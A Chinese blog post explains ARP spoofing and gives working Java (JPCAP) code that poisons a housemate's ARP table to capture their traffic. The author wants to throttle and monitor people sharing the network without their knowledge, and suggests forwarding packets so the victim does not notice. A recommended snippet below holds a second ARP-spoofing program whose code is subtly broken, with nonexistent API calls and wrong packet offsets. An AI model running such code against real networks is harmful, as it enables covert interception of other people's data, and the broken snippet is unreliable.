使用JAVA通过ARP欺骗实现数据封包监听

如果说最近有什么不爽的事情,那就是与人共享网络的痛苦了,特别是当其他共享者使用那些P2P工具下载软件,而你却看着网页进度条一点点爬的时候,那种痛苦对于我这种网虫级别的人来说,那简直就是痛不欲生。绝对不能再忍了,于是乎上网下载P2P终结者,哼,你们不仁我则不义,看谁厉害。软件下好后,立刻启动监控,然后尝试了下速度,哇,那个爽啊。可惜好景不长,没多久对方就跑来问我为什么他们断网了?我楞了一下,那垃圾软件居然连对方的网都断了,于是支支唔唔的应付了他,说我看下,总算勉强过关,还好他们不懂电脑,不然就掉大了(貌视挺卑鄙的,别BS俺,俺也是迫不得已)。
没办法,那破烂软件居然连人家网都断了,我仅仅只是想给他们限速而已(还算有点良心),仔细查看了下文档,使用的方式都没问题啊,为什么会这样呢?想了半天也毫无头绪,没办法,看来只能自己动手了,于是乎上网找了些关于这方面的资料看了下,也写了一点代码做试验,由于时间有限也只写了一点,不过总体的做法大概是有所了解,在这里就写一篇文章大概记录一下自己的做法,以便作为日记又可与大众分享下。

其实目前网络上类似P2P终结者这类软件,主要都是基于ARP欺骗实现的,网络上到处都有关于ARP欺骗的介绍,不过为了本文读者不需要再去查找,我就在这里大概讲解一下。

ARP(Address Resolution Protocol)既地址解释协议,主要的目的是用于进行IP和MAC地址解释的。IP是网络层协议,而MAC是被数据链路层使用。网络中两个节点要进行通信,那么首先发送端必须要知道源和目的地的MAC地址,而网络层是使用IP地址,所以要获得MAC地址,就必须通过IP地址获取对应的MAC地址,这样就需要使用ARP协议将IP地址转换为MAC地址,而同时为了能够快速的找到目的地的MAC地址,每个节点都会有一个ARP缓存,用于保存已经转好好的MAC地址,大家可以在控制台下使用arp –a指令查看arp缓存表。

而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候,系统会首先检查ARP表中是否存在对应的IP地址,如果没有,则发送一个ARP广播,当某一个拥有这个MAC地址的节点收到ARP请求的时候,会创建一个ARP reply包,并发送到ARP请求的源节点,ARP Reply包中就包含了目的地节点的MAC地址,在源节点接受到这个reply后,会将目的地节点的MAC地址保存在ARP缓存表中,下一次再次请求同一IP地址的时候,系统将会从ARP表中直接获取目的地MAC地址,而不需要再次发送ARP广播。

看到这里,ARP的具体过程大概讲解了一遍,希望能够解释清楚。相信有心的朋友一定已经开始考虑ARP欺骗的原理了吧,其实就是利用ARP表进行ARP欺骗,比如一台局域网内的机器A,通过网关B进行internet连接,而它的arp表中保存着网关B的IP和MAC地址对,如下:

192.168.1.1 —> MAC1(懒得写那么长了,就以MAC1作为MAC地址了)

那么也就是说,当A想上网的时候,他所有的数据都将先发送到网关再由网关转发出去,那么A的数据首先会通过192.168.1.1找到网关的MAC地址MAC1,然后就可把数据发送到网关了。此时你的机器是C,MAC地址是MAC2,你想通过ARP欺骗来获取A传输的数据,那么你所需要做的事情其实很简单,就是将机器A的ARP表中192.168.1.1对应的MAC地址MAC1改成MAC2即可,这样子机器A所有发送到192.168.1.1的数据就会发到MAC地址为MAC2的机器上,也就是你的机器上了。

要更改APR表的记录,办法就是伪造一个ARP reply包发送给机器A,而这个ARP reply包中的源IP为192.168.1.1,MAC地址为MAC2既你的机器的MAC地址即可,机器A接受到后就会将这个源IP和MAC刷新到它的ARP缓存表中,覆盖原有的记录,最终这样就可以达到ARP欺骗的目的了。

讲到这里不知道大家是否对ARP欺骗有所了解呢?如果再不了解那就上网搜搜吧,网上很多相关的资料。好了,原理讲完了,那就轮到实现了,通过JAVA又如何实现ARP欺骗呢?

从头到尾来做,当然不是我的作风,JAVA社区那么庞大,我么应该好好利用,要站在巨人的肩膀上成功嘛,呵呵。有一个开源项目JPCAP,这个项目提供一个中间层接口让使用者可以调用如wincap/libpcap这些库对网络传输进行控制,具体可到官方网站查看其文档。

在这里,我实现了一个简单的封包截取程序,根据ARP欺骗的原理,我们所需要做的事情如下:

1、 构建一个ARP Reply包

2、 将该封包发送到需要欺骗的机器

代码如下:

public class LocalListener {

private final static String GATE_IP = "192.168.11.1";
private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};
private JpcapCaptor jpcap; //与设备的连接
private JpcapSender sender; //用于发送的实例
private Packet replyPacket; //ARP reply包
private NetworkInterface device; //当前机器网卡设备
private IpMacMap targetIpMacMap; //目的地IP MAC对

public LocalListener(IpMacMap target) throws Exception {
NetworkInterface[] devices = JpcapCaptor.getDeviceList(); device = devices[1];
this.targetIpMacMap = target;
initSender();
initPacket();
}

private void initSender() throws Exception {
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
jpcap.setFilter("ip", true); //只监听ip数据包
sender = jpcap.getJpcapSenderInstance();
}

private void initPacket() throws Exception {
//reply包的源IP和MAC地址,此IP-MAC对将会被映射到ARP表
IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);
//创建修改目标机器ARP的包
replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);
//创建以太网头信息,并打包进reply包
replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
device.mac_address);
}

public void listen() throws InterruptedException{
Thread t = new Thread(new Runnable() {
public void run() {
//发送reply封包,修改目的地arp表, arp表会在一段时间内被更新,所以需要不停发送
while(true){
send();
try {
Thread.sleep(500);
} catch (InterruptedException ex) {
Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
});
t.start();
//截获当前网络设备的封包收发信息
while(true){
IPPacket ipPacket = (IPPacket)jpcap.getPacket();
System.out.println(ipPacket);
}
}}


//IP-MAC实体,只用于保存一对IP-MAC地址
public class IpMacMap {
private String ip;
private byte[] mac;

public IpMacMap(){
}

public IpMacMap(String ip, byte[] mac){
this.ip = ip;
this.mac = mac;
}

public String getIp() {
return ip;
}

public void setIp(String ip) {
this.ip = ip;
}

public byte[] getMac() {
return mac;
}

public void setMac(byte[] mac) {
this.mac = mac;
}

}

//ARP reply包生成类,用于根据目的地址和源地址生成reply包
public class ARPPacketGern{

public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
ARPPacket arpTarget = new ARPPacket();
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型
arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型
arpTarget.hlen = 6; //MAC地址长度固定6个字节
arpTarget.plen = 4; //IP地址长度固定4个字节
arpTarget.target_hardaddr = target.getMac();
arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
arpTarget.sender_hardaddr = sender.getMac();
arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
return arpTarget;
}
}


//根据目的地MAC和源MAC构建以太网头信息,用于传输数据
public class EthernetPacketGern{
public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类型
ethToTarget.dst_mac = targetMac;
ethToTarget.src_mac = senderMac;
return ethToTarget;
}
}



如上代码实现了创建一个发送到IP为192.168.11.4的机器的ARP reply封包,其中可看到,reply包中的源IP为192.168.11.1,而源MAC则被改成当前机器的MAC地址,既device.mac_address,这样当192.168.11.4的机器接收到该reply包后,就会刷新ARP表,并且所有发送往192.168.11.1的数据都会实际发送到当前运行该程序的机器。程序中创建了一个线程用于循环发送reply封包,主要是因为ARP表会在一定时间内更新,所以要不停的发送才能保证其MAC地址时刻都是被改变的。同时主线程用于监听并打印当前设备的所有IP数据包信息,本来此方法只能监听到本机数据包的信息,但由于使用了ARP欺骗,所以你会在192.168.11.4发送数据到192.168.11.1的时候截获其数据包,并看到类似如下的信息:

1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6) priority(0) hop(128) offset(0) ident(34922) TCP 1337 > 8016 seq(1062321893) win(65535) S

其实上例程序虽然可以截获并监听192.168.11.4的数据包,但是如果真的运行起来后,192.168.11.4的机器将会无法上网(假设该机器通过192.168.11.1作为网关上网),这又是为何呢?

这就是因为本机截获了192.168.11.4的封包,但是却没有将封包转发出去,所以实际上数据包到了你的机器上后就被中断了,数据包无法发送出去。既然要监听对方机器,当然不能让对方知道啦,如果你监听了那台机器,却导致对方无法上网,傻子也知道有问题啦,所以以上程序仍然要加个补充,那就是将封包数据在转发到192.168.11.1上,只要将截获的封包再send出去就可以了,具体如何做就留给大家想吧,困了,休息了,如果有朋友有兴趣又实在想不出如何做的话,可以向我提出来,有必要的话,下次再贴一个完整点的例子吧。

对了,最后还有补充的地方,那就是我们可以通过同样的方式刷新网关的ARP,这样网关接受到的数据也会被本机截获,同样再通过本机转发到目的机器即可。这样对方既可正常上网,而我们又可截获对方的数据包,如果要进行限速的话,那就是在截获封包的同时,进行一定的延时,比如一秒只允许多少K的数据通过,都可以在这里做手脚,同样的,具体如何留给大家想吧,^ o ^。
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ARP欺骗是一种网络攻击方式,它会伪装成网络中的另一台主机,向网络中的其他主机发送虚假的ARP响应包,从而达到窃取数据、中间人攻击等目的。下面是一个使用Java实现ARP欺骗的示例程序: ```java import java.io.IOException; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.SocketException; import java.net.UnknownHostException; import java.util.Arrays; public class ArpSpoofing { private static final byte[] BROADCAST_MAC = {(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff}; private static final byte[] ARP_REQUEST_HEADER = {(byte) 0x00, (byte) 0x01}; private static final byte[] ARP_REPLY_HEADER = {(byte) 0x00, (byte) 0x02}; private static final byte[] ETHERNET_HEADER = {(byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x03, (byte) 0x04, (byte) 0x05}; public static void main(String[] args) throws UnknownHostException, SocketException, IOException, InterruptedException { String targetIp = "192.168.0.100"; // 目标主机IP地址 String gatewayIp = "192.168.0.1"; // 网关IP地址 String interfaceName = "eth0"; // 网络接口名 byte[] targetMac = getMacAddress(targetIp, interfaceName); // 获取目标主机MAC地址 byte[] gatewayMac = getMacAddress(gatewayIp, interfaceName); // 获取网关MAC地址 // 发送ARP欺骗包 while (true) { sendArpReply(targetIp, targetMac, gatewayIp, gatewayMac, interfaceName); Thread.sleep(1000); } } private static void sendArpReply(String targetIp, byte[] targetMac, String gatewayIp, byte[] gatewayMac, String interfaceName) throws IOException { byte[] packetData = new byte[42]; // 设置以太网头部 System.arraycopy(targetMac, 0, packetData, 0, 6); // 目标MAC地址 System.arraycopy(ETHERNET_HEADER, 0, packetData, 6, 6); // 源MAC地址 packetData[12] = 0x08; // 以太网类型 // 设置ARP头部 System.arraycopy(BROADCAST_MAC, 0, packetData, 14, 6); // 目标MAC地址 System.arraycopy(getMacAddress(gatewayIp, interfaceName), 0, packetData, 20, 6); // 源MAC地址 System.arraycopy(ARP_REPLY_HEADER, 0, packetData, 26, 2); // ARP响应头部 System.arraycopy(getMacAddress(gatewayIp, interfaceName), 0, packetData, 28, 6); // 发送方MAC地址 System.arraycopy(InetAddress.getByName(targetIp).getAddress(), 0, packetData, 38, 4); // 目标IP地址 System.arraycopy(targetMac, 0, packetData, 32, 6); // 目标MAC地址 // 发送ARP欺骗包 NetworkInterface networkInterface = NetworkInterface.getByName(interfaceName); networkInterface.getInterfaceAddresses().stream().filter(address -> address.getAddress().getAddress().length == 4).findFirst().ifPresent(address -> { try { InetAddress broadcastAddress = address.getBroadcast(); if (broadcastAddress != null) { networkInterface.sendPacket(new java.net.DatagramPacket(packetData, packetData.length, broadcastAddress, 0)); } } catch (IOException e) { e.printStackTrace(); } }); } private static byte[] getMacAddress(String ip, String interfaceName) throws UnknownHostException, SocketException { NetworkInterface networkInterface = NetworkInterface.getByName(interfaceName); byte[] hardwareAddress = networkInterface.getHardwareAddress(); byte[] ipBytes = InetAddress.getByName(ip).getAddress(); // 构造ARP请求包 byte[] packetData = new byte[28]; System.arraycopy(BROADCAST_MAC, 0, packetData, 0, 6); // 目标MAC地址 System.arraycopy(hardwareAddress, 0, packetData, 6, 6); // 源MAC地址 System.arraycopy(ARP_REQUEST_HEADER, 0, packetData, 12, 2); // ARP请求头部 System.arraycopy(hardwareAddress, 0, packetData, 14, 6); // 发送方MAC地址 System.arraycopy(ipBytes, 0, packetData, 24, 4); // 目标IP地址 // 发送ARP请求包 networkInterface.getInterfaceAddresses().stream().filter(address -> address.getAddress().getAddress().length == 4).findFirst().ifPresent(address -> { try { InetAddress broadcastAddress = address.getBroadcast(); if (broadcastAddress != null) { java.net.DatagramSocket socket = new java.net.DatagramSocket(); socket.setSoTimeout(5000); socket.send(new java.net.DatagramPacket(packetData, packetData.length, broadcastAddress, 0)); // 接收ARP响应包 byte[] receiveBuffer = new byte[28]; socket.receive(new java.net.DatagramPacket(receiveBuffer, receiveBuffer.length)); System.out.println(Arrays.toString(receiveBuffer)); // 解析ARP响应包 byte[] macAddress = new byte[6]; System.arraycopy(receiveBuffer, 6, macAddress, 0, 6); System.out.println(ip + " -> " + Arrays.toString(macAddress)); } } catch (IOException e) { e.printStackTrace(); } }); return hardwareAddress; } } ``` 这个示例程序使用了`NetworkInterface`类来获取网络接口的信息,并使用`DatagramSocket`类来发送ARP请求和欺骗包。需要注意的是,在实际使用中还需要考虑多种情况,例如网络拓扑结构、MAC地址缓存等因素的影响,否则可能会导致ARP欺骗失败。同时,ARP欺骗是一种违法的网络攻击行为,请勿用于非法用途。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值